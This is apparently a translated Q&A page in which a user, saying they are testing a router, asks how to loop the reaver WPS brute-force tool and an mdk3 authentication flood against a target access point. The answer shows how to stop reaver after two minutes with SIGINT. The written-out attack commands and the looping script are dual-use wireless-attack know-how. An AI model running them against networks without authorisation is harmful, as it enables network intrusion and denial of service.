linux - 在特定时间间隔后将控件c发送到linux命令？

Shell脚本:

我正在路由器上进行一些测试，为此使用mdk3和reaver实用程序。

这是两个命令:

[cmd1]  echo y|reaver -i wlan2mon -b 00:FF:EE:CC:DS:B6 -vv    -l 230
[cmd2]  sudo mdk3 wlan2mon a -a 00:FF:EE:CC:DS:B6

目标:

我正在尝试创建一个将在[cmd1]中运行2分钟的shell脚本，然后它将ctrl + c信号发送到[cmd1]，以便它将保存reaver session 。

然后cmd2将运行2分钟，此后此操作也将停止。

这两个将循环。

以下是我编写的示例脚本，您可以在其中添加计时器吗？

    #!/bin/bash

while :; do echo
echo "running mdk for 2 minutes";
timeout 120 sudo mdk3 wlan2mon a -a 00:FF:EE:CC:DS:B6;

echo "mdk finished";
echo "starting reaver for 2 minutes ";

#here timeout won't work, as ctrl+c can only save the state.

//add code here to run reaver utility for two minutes and send ctrl+c to it
echo y|reaver -i wlan2mon -b 00:FF:EE:CC:DS:B6 -vv;
 echo "reaver ran for two minutes";



done

最佳答案

我对reaver程序不熟悉，但是我认为以下方法应该有效，

# Run reaver as a background process (add &)
echo y|reaver -i wlan2mon -b 00:FF:EE:CC:DS:B6 -vv &
# Save the process id.
reaverpid=$!
# Sleep 2 minutes
sleep 120
# Send SIGINT, which is what ctrl-c normally does.
kill -SIGINT $reaverpid
